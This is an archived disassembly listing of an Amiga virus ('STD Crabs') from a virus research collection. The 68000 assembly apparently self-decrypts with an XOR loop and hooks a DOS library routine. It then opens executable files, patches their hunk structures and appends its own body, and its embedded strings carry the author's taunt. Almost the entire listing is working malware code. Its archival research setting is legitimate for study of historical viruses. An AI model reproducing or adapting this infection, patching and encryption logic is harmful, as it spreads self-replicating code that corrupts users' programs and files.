home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / STD_CRABS / VIRUS.ASM < prev   
Assembly Source File  |  1999-06-12  |  9KB  |  332 lines
  1.     NOP                ;5B2: 4E71
  2.     BRA.S    LAB_004D        ;5B4: 6048
  3.     BRA    LAB_0050        ;5B6: 600000B0
  4. LAB_0047:
  5.     BSR.S    LAB_004B        ;5BA: 611C
  6.     JSR    -48(A5)            ;5BC: 4EADFFD0
  7.     BSR.S    LAB_004B        ;5C0: 6116
  8.     RTS                ;5C2: 4E75
  9. LAB_0048:
  10.     BSR.S    LAB_004B        ;5C4: 6112
  11.     JMP    2(A3)            ;5C6: 4EEB0002
  12. LAB_0049:
  13.     EXG    A5,A1            ;5CA: CB49
  14.     JSR    -414(A6)        ;5CC: 4EAEFE62
  15. LAB_004A:
  16.     BSR.S    LAB_004B        ;5D0: 6106
  17.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;5D2: 4CDF7FFF
  18.     RTS                ;5D6: 4E75
  19. LAB_004B:
  20.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;5D8: 48E7FFFE
  21.     LEA    LAB_004E(PC),A0        ;5DC: 41FA002A
  22.     LEA    LAB_0065(PC),A1        ;5E0: 43FA02C0
  23.     MOVE    (A1),D0            ;5E4: 3011
  24.     MOVE.L    #$00004E75,D1        ;5E6: 223C00004E75
  25. LAB_004C:
  26.     EOR    D0,(A0)+        ;5EC: B158
  27.     ADD.L    D1,D0            ;5EE: D081
  28.     CMPA.L    A0,A1            ;5F0: B3C8
  29.     BNE.S    LAB_004C        ;5F2: 66F8
  30.     JSR    -636(A6)        ;5F4: 4EAEFD84
  31.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;5F8: 4CDF7FFF
  32.     RTS                ;5FC: 4E75
  33. LAB_004D:
  34.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;5FE: 48E7FFFE
  35.     MOVEA.L    (ABSEXECBASE).W,A6    ;602: 2C780004
  36.     BSR.S    LAB_004B        ;606: 61D0
  37. LAB_004E:
  38.     BSR    LAB_0061        ;608: 6100026E
  39.     BEQ.S    LAB_004A        ;60C: 67C2
  40.     BSR.S    LAB_004F        ;60E: 610C
  41.     DC.W    $646F            ;610
  42.     DC.W    $732E            ;612
  43.     DC.W    $6C69            ;614
  44.     BHI.S    LAB_0052        ;616: 6272
  45.     BSR.S    LAB_0053        ;618: 6172
  46.     DC.W    $7900            ;61A
  47. LAB_004F:
  48.     MOVEA.L    (A7)+,A1        ;61C: 225F
  49.     JSR    -408(A6)        ;61E: 4EAEFE68
  50.     BEQ.S    LAB_004A        ;622: 67AC
  51.     MOVEA.L    D0,A5            ;624: 2A40
  52.     LEA    LAB_0067(PC),A1        ;626: 43FA0280
  53.     MOVE.L    D0,(A1)            ;62A: 2280
  54.     BSR    LAB_0063        ;62C: 61000268
  55.     BEQ.S    LAB_0049        ;630: 6798
  56.     MOVEA.L    -148(A5),A1        ;632: 226DFF6C
  57.     CMPI    #$261F,-4(A1)        ;636: 0C69261FFFFC
  58.     BEQ.S    LAB_0049        ;63C: 678C
  59.     LEA    LAB_0064(PC),A3        ;63E: 47FA0260
  60.     MOVE.B    #$00,(A3)        ;642: 16BC0000
  61.     MOVEQ    #0,D1            ;646: 7200
  62.     MOVEQ    #16,D0            ;648: 7010
  63.     LSL.L    #7,D0            ;64A: EF88
  64.     JSR    -684(A6)        ;64C: 4EAEFD54
  65.     MOVEA.L    D0,A3            ;650: 2640
  66.     BEQ    LAB_0049        ;652: 6700FF76
  67.     MOVEA.L    A3,A1            ;656: 224B
  68.     LEA    LAB_0046(PC),A0        ;658: 41FAFF5A
  69.     MOVEQ    #16,D0            ;65C: 7010
  70.     LSL.L    #7,D0            ;65E: EF88
  71.     JSR    -624(A6)        ;660: 4EAEFD90
  72.     BRA    LAB_0048        ;664: 6000FF5E
  73. LAB_0050:
  74.     LEA    -148(A5),A1        ;668: 43EDFF6C
  75.     LEA    LAB_005E(PC),A0        ;66C: 41FA01E2
  76.     MOVE.L    (A1),2(A0)        ;670: 21510002
  77.     LEA    LAB_005D(PC),A0        ;674: 41FA01D0
  78.     MOVE.L    A0,(A1)            ;678: 2288
  79.     BRA    LAB_005F        ;67A: 600001F6
  80. LAB_0051:
  81.     DC.W    $536E            ;67E
  82.     DC.W    $6F6F            ;680
  83.     MOVEQ    #68,D0            ;682: 7044
  84.     DC.W    $6F73            ;684
  85.     MOVEA.L    (A3),A0            ;686: 2053
  86.     DC.W    $7570            ;688
  87. LAB_0052:
  88.     MOVEQ    #111,D0            ;68A: 706F
  89. LAB_0053:
  90.     MOVEQ    #116,D1            ;68C: 7274
  91.     MOVEA.L    (A0),A0            ;68E: 2050
  92.     MOVEQ    #111,D1            ;690: 726F
  93.     DC.W    $6365            ;692
  94.     DC.W    $7373            ;694
  95.     ORI    #$5444,(A3)        ;696: 00535444
  96.     DC.W    $2070            ;69A
  97.     MOVEQ    #101,D1            ;69C: 7265
  98.     DC.W    $7365            ;69E
  99.     BGT.S    LAB_0057        ;6A0: 6E74
  100.     DC.W    $7320            ;6A2
  101.     MOVE.L    11552(A5),-(A6)        ;6A4: 2D2D2D20
  102.     DC.W    $4372            ;6A8
  103.     BSR.S    LAB_0056        ;6AA: 6162
  104.     DC.W    $7320            ;6AC
  105.     DC.W    $2331            ;6AE
  106.     DC.W    $202D            ;6B0
  107.     MOVEA.L    A1,A0            ;6B2: 2049
  108.     MOVEQ    #99,D2            ;6B4: 7463
  109.     DC.W    $6879            ;6B6
  110.     MOVEA.L    (A1)+,A0        ;6B8: 2059
  111.     BCS.S    LAB_0058+2        ;6BA: 6574
  112.     MOVE    D0,-(A7)        ;6BC: 3F00
  113. LAB_0054:
  114.     LEA    LAB_0065+2(PC),A1    ;6BE: 43FA01E4
  115.     MOVEA.L    (A1),A4            ;6C2: 2851
  116.     MOVEA.L    A4,A3            ;6C4: 264C
  117. LAB_0055:
  118.     MOVE.B    (A3)+,D1        ;6C6: 121B
  119.     CMPI.B    #$2E,D1            ;6C8: 0C01002E
  120.     BEQ    LAB_005C        ;6CC: 67000176
  121.     CMPI.B    #$2D,D1            ;6D0: 0C01002D
  122.     BEQ    LAB_005C        ;6D4: 6700016E
  123.     TST.B    D1            ;6D8: 4A01
  124.     BNE.S    LAB_0055        ;6DA: 66EA
  125.     MOVE.L    A4,D1            ;6DC: 220C
  126.     MOVEQ    #-2,D2            ;6DE: 74FE
  127.     JSR    -84(A5)            ;6E0: 4EADFFAC
  128.     MOVE.L    D0,D1            ;6E4: 2200
  129.     BEQ    LAB_005C        ;6E6: 6700015C
  130.     MOVE.L    D0,D4            ;6EA: 2800
  131.     LEA    LAB_0068(PC),A3        ;6EC: 47FA01BE
  132.     MOVE.L    A3,D2            ;6F0: 240B
  133.     JSR    -114(A5)        ;6F2: 4EADFF8E
  134.     MOVEQ    #20,D0            ;6F6: 7014
  135.     ADDA.L    D0,A3            ;6F8: D7C0
  136.     MOVE.L    D4,D1            ;6FA: 2204
  137.     MOVE.L    A3,D2            ;6FC: 240B
  138.     JSR    -102(A5)        ;6FE: 4EADFF9A
  139.     MOVE.L    D4,D1            ;702: 2204
  140.     JSR    -90(A5)            ;704: 4EADFFA6
  141.     CMPI    #$0052,-10(A3)        ;708: 0C6B0052FFF6
  142. LAB_0056:
  143.     BNE    LAB_005C        ;70E: 66000134
  144.     MOVE.L    -8(A3),D0        ;712: 202BFFF8
  145. LAB_0057:
  146.     MOVE.L    -4(A3),D1        ;716: 222BFFFC
  147.     MOVEQ    #3,D2            ;71A: 7403
  148.     SUB.L    D1,D0            ;71C: 9081
  149.     CMP.L    D2,D0            ;71E: B082
  150.     BLT    LAB_005C        ;720: 6D000122
  151.     MOVE.L    124(A3),D0        ;724: 202B007C
  152.     MOVE.L    D0,D3            ;728: 2600
  153.     LSR.L    #8,D3            ;72A: E08B
  154.     LSR.L    #2,D3            ;72C: E48B
  155. LAB_0058:
  156.     BEQ    LAB_005B        ;72E: 67000112
  157.     MOVE.L    D0,D3            ;732: 2600
  158.     MOVE.L    D0,-(A7)        ;734: 2F00
  159.     MOVE.L    D3,D0            ;736: 2003
  160.     MOVEQ    #1,D1            ;738: 7201
  161.     SWAP    D1            ;73A: 4841
  162.     JSR    -684(A6)        ;73C: 4EAEFD54        AllocVec
  163.     MOVEA.L    D0,A3            ;740: 2640
  164.     BEQ    LAB_005B        ;742: 670000FE
  165.     MOVE.L    #$000003ED,D2        ;746: 243C000003ED
  166.     MOVE.L    A4,D1            ;74C: 220C
  167.     JSR    -30(A5)            ;74E: 4EADFFE2        Open
  168.     MOVE.L    D0,D5            ;752: 2A00
  169.     MOVE.L    D5,D1            ;754: 2205
  170.     BEQ    LAB_005B        ;756: 670000EA
  171.     MOVE.L    A3,D2            ;75A: 240B
  172.     JSR    -42(A5)            ;75C: 4EADFFD6        Read
  173.     MOVE.L    D5,D1            ;760: 2205
  174.     JSR    -36(A5)            ;762: 4EADFFDC        Close
  175.     LEA    LAB_0065(PC),A2        ;766: 45FA013A
  176.     ADDQ.B    #1,(A2)            ;76A: 5212
  177.     MOVEQ    #0,D0            ;76C: 7000
  178.     MOVE    (A2),D0            ;76E: 3012
  179.     ADDQ    #1,D0            ;770: 5240
  180.     MOVE    D0,(A2)            ;772: 3480
  181.     MOVE.L    D0,D7            ;774: 2E00
  182.     ANDI.L    #$FFFFFFF0,D0        ;776: 0280FFFFFFF0
  183.     SUB.L    D0,D7            ;77C: 9E80
  184.     MOVEA.L    A3,A2            ;77E: 244B
  185.     MOVE.L    8(A2),D0        ;780: 202A0008
  186.     LSL.L    #2,D0            ;784: E588
  187.     MOVE.L    D0,D6            ;786: 2C00
  188.     MOVE.L    #$000000C1,D1        ;788: 223C000000C1
  189.     ADD.L    D7,D1            ;78E: D287
  190.     LSL.L    #2,D7            ;790: E58F
  191.     ADD.L    D1,20(A2)        ;792: D3AA0014
  192.     MOVEQ    #24,D2            ;796: 7418
  193.     ADDA.L    D2,A2            ;798: D5C2
  194.     ADDA.L    D0,A2            ;79A: D5C0
  195.     MOVE.L    (A2),D4            ;79C: 2812
  196.     LSL.L    #2,D4            ;79E: E58C
  197.     ADD.L    D1,(A2)+        ;7A0: D39A
  198.     ADDA.L    D4,A2            ;7A2: D5C4
  199.     MOVE    -2(A2),D0        ;7A4: 302AFFFE
  200.     MOVE    #$4E75,D1        ;7A8: 323C4E75
  201.     MOVE    #$4E71,D2        ;7AC: 343C4E71
  202.     CMP    D0,D1            ;7B0: B240
  203.     BEQ.S    LAB_0059        ;7B2: 670E
  204.     MOVE    -4(A2),D0        ;7B4: 302AFFFC
  205.     CMP    D0,D1            ;7B8: B240
  206.     BNE    LAB_005B        ;7BA: 66000086
  207.     MOVE    D2,-4(A2)        ;7BE: 3542FFFC
  208. LAB_0059:
  209.     MOVE    D2,-2(A2)        ;7C2: 3542FFFE
  210.     MOVE.L    A4,D1            ;7C6: 220C
  211.     MOVE.L    #$000003EE,D2        ;7C8: 243C000003EE
  212.     JSR    -30(A5)            ;7CE: 4EADFFE2
  213.     MOVE.L    D0,D5            ;7D2: 2A00
  214.     MOVEQ    #0,D1            ;7D4: 7200
  215.     MOVE.B    EXT_0001,D1        ;7D6: 123900DFF009
  216.     BCLR    #0,D1            ;7DC: 08810000
  217.     BSET    #7,D1            ;7E0: 08C10007
  218.     MOVEA.L    A3,A0            ;7E4: 204B
  219.     ADDA.L    D1,A0            ;7E6: D1C1
  220.     MOVE    #$4E71,(A0)        ;7E8: 30BC4E71
  221.     MOVE.L    A3,D2            ;7EC: 240B
  222.     MOVEQ    #28,D1            ;7EE: 721C
  223.     ADD.L    D1,D4            ;7F0: D881
  224.     MOVE.L    D5,D1            ;7F2: 2205
  225.     ADD.L    D6,D4            ;7F4: D886
  226.     MOVE.L    D4,D3            ;7F6: 2604
  227.     JSR    -48(A5)            ;7F8: 4EADFFD0
  228.     MOVE.L    D5,D1            ;7FC: 2205
  229.     LEA    LAB_0046(PC),A1        ;7FE: 43FAFDB4
  230.     MOVE.L    A1,D2            ;802: 2409
  231.     MOVE.L    #$00000304,D3        ;804: 263C00000304
  232.     ADD.L    D7,D3            ;80A: D687
  233.     BSR    LAB_0047        ;80C: 6100FDAC
  234.     MOVE.L    D5,D1            ;810: 2205
  235.     MOVE.L    (A7)+,D3        ;812: 261F
  236.     SUB.L    D4,D3            ;814: 9684
  237.     MOVE.L    A3,D2            ;816: 240B
  238.     ADD.L    D4,D2            ;818: D484
  239.     JSR    -48(A5)            ;81A: 4EADFFD0
  240.     MOVE.L    D5,D1            ;81E: 2205
  241.     JSR    -36(A5)            ;820: 4EADFFDC
  242.     MOVE.L    A4,D1            ;824: 220C
  243.     BRA.S    LAB_005A        ;826: 6008
  244.     MOVEQ    #111,D0            ;828: 706F
  245.     DC.W    $7765            ;82A
  246.     SUBQ    #1,(A4)            ;82C: 5354
  247.     NEG.B    -(A1)            ;82E: 4421
  248. LAB_005A:
  249.     DC.W    $43FA            ;830
  250.     BTST    D0,(A2)            ;832: 0112
  251.     MOVE.L    A1,D2            ;834: 2409
  252.     JSR    -396(A5)        ;836: 4EADFE74
  253.     MOVEA.L    A3,A1            ;83A: 224B
  254.     JSR    -690(A6)        ;83C: 4EAEFD4E
  255.     BRA.S    LAB_005C        ;840: 6002
  256. LAB_005B:
  257.     MOVE.L    (A7)+,D3        ;842: 261F
  258. LAB_005C:
  259.     RTS                ;844: 4E75
  260. LAB_005D:
  261.     MOVE.L    A0,-(A7)        ;846: 2F08
  262.     LEA    LAB_0065+2(PC),A0    ;848: 41FA005A
  263.     MOVE.L    D1,(A0)            ;84C: 2081
  264.     MOVEA.L    (A7)+,A0        ;84E: 205F
  265. LAB_005E:
  266.     JSR    EXT_0002        ;850: 4EB90120A198
  267.     TST.L    D0            ;856: 4A80
  268.     BEQ.S    LAB_0060        ;858: 671C
  269.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;85A: 48E7FFFE
  270.     LEA    LAB_0067(PC),A1        ;85E: 43FA0048
  271.     MOVEA.L    (A1),A5            ;862: 2A51
  272.     BSR.S    LAB_0061        ;864: 6112
  273.     BEQ.S    LAB_005F        ;866: 670A
  274.     BSR    LAB_0063        ;868: 6100002C
  275.     BEQ.S    LAB_005F        ;86C: 6704
  276.     BSR    LAB_0054        ;86E: 6100FE4E
  277. LAB_005F:
  278.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;872: 4CDF7FFF
  279. LAB_0060:
  280.     RTS                ;876: 4E75
  281. LAB_0061:
  282.     MOVEA.L    (ABSEXECBASE).W,A6    ;878: 2C780004
  283.     MOVEA.L    -292(A6),A0        ;87C: 206EFEDC
  284.     CMPI    #$BFFA,(A0)        ;880: 0C50BFFA
  285.     BEQ.S    LAB_0062        ;884: 670E
  286.     LEA    LAB_0051(PC),A1        ;886: 43FAFDF6
  287.     JSR    -294(A6)        ;88A: 4EAEFEDA
  288.     TST.L    D0            ;88E: 4A80
  289.     EORI.B    #$04,CCR        ;890: 0A3C0004
  290. LAB_0062:
  291.     RTS                ;894: 4E75
  292. LAB_0063:
  293.     MOVEA.L    -100(A5),A0        ;896: 206DFF9C
  294.     CMPI    #$52B9,(A0)        ;89A: 0C5052B9
  295.     RTS                ;89E: 4E75
  296. LAB_0064:
  297.     DC.W    $0000            ;8A0
  298. LAB_0065:
  299.     MOVE.B    342(A5),(A6)        ;8A2: 1CAD0156
  300.     DC.W    $60C5            ;8A6
  301. LAB_0067:
  302.     BTST    D0,D1            ;8A8: 0101
  303.     CMP.L    (A4)+,D4        ;8AA: B89C
  304. LAB_0068:
  305.     ORI.B    #$00,D0            ;8AC: 00000000
  306.     ORI.B    #$00,D0            ;8B0: 00000000
  307.     ORI.B    #$52,D0            ;8B4: 00000052
  308.     DC.W    $0001            ;8B8
  309. LAB_0069:
  310.     DC.W    $1FD8            ;8BA
  311.     DC.W    $0001            ;8BC
  312.     MOVE.B    (A2),-(A3)        ;8BE: 1712
  313.     DC.W    $013E            ;8C0
  314.     DC.W    $20F4            ;8C2
  315.     DC.W    $FFFF            ;8C4
  316.     DC.W    $FFFD            ;8C6
  317.     ADDQ    #2,EXT_0004        ;8C8: 547970650000
  318.     DC.W    $0001            ;8CE
  319.     DC.W    $7374            ;8D0
  320.     ORI.B    #$E6,D0            ;8D2: 000000E6
  321.     DC.W    $DFB8            ;8D6
  322.     DC.W    $F063            ;8D8
  323.     DC.W    $4B20            ;8DA
  324.     OR.B    D1,5697(A5)        ;8DC: 832D1641
  325.     SUBX.B    D4,D0            ;8E0: 9104
  326.     MOVE.L    D7,-(A5)        ;8E2: 2B07
  327.     DC.W    $F590            ;8E4
  328.     BCS.S    LAB_0069        ;8E6: 65D2
  329.     DC.W    $4C0F            ;8E8
  330.     MOVEQ    #99,D3            ;8EA: 7663
  331.     END
  332.